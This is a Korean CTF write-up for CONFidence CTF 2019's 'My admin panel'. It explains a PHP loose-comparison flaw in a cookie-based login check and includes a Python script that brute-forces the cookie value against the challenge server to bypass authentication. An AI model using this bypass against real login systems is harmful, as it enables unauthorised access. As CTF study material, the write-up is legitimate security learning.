[CONFidence CTF 2019] My admin panel
Teaser CONFidence CTF 2019의 My admin panel
문제이다.
Link
<?php
include '../func.php';
include '../config.php';
if (!$_COOKIE['otadmin']) {
exit("Not authenticated.\n");
}
if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
exit();
}
$session_data = json_decode($_COOKIE['otadmin'], true);
if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
echo("I CAN EVEN GIVE YOU A HINT XD \n");
for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
}
exit("\n");
}
display_admin();
코드를 보면 otadmin 쿠키가 존재하지 않으면 “Not authenticated.”가 뜬다. 디렉토리에서 바로 login.php 파일에 접근했을 때 뜨는 메시지와 동일하다.
otadmin 쿠키가 정규식 [0-9A-Z"]와 일치하지 않거나 session_data가 NULL이면 “COOKIE TAMPERING xD IM A SECURITY EXPERT”가 뜬다.
hash 값과 strtoupper(MD5($cfg_pass))가 일치하지 않으면 위와 같이 힌트를 주는데 이 부분에서 loose comparison을 사용한다. PHP는 loose comparision으로 정수와 문자열을 비교할 때 정수를 문자열의 첫 번째 숫자와 비교한다. EX) 123 !== “123”, 123 == “123aaa”
0006464640640064000646464640006400640640646400
에서 앞부분 세 자리를 Bruteforce 하면 될 것 같다.
import requests
url = "https://gameserver.zajebistyc.tf/admin/login.php"
s = requests.Session()
for i in range(500):
r = s.get(url, cookies={'otadmin':'{"hash": '+str(i)+'}'})
if "GIVE" not in r.text:
print(r.text)
print("HASH : "+str(i))
break
플래그 !!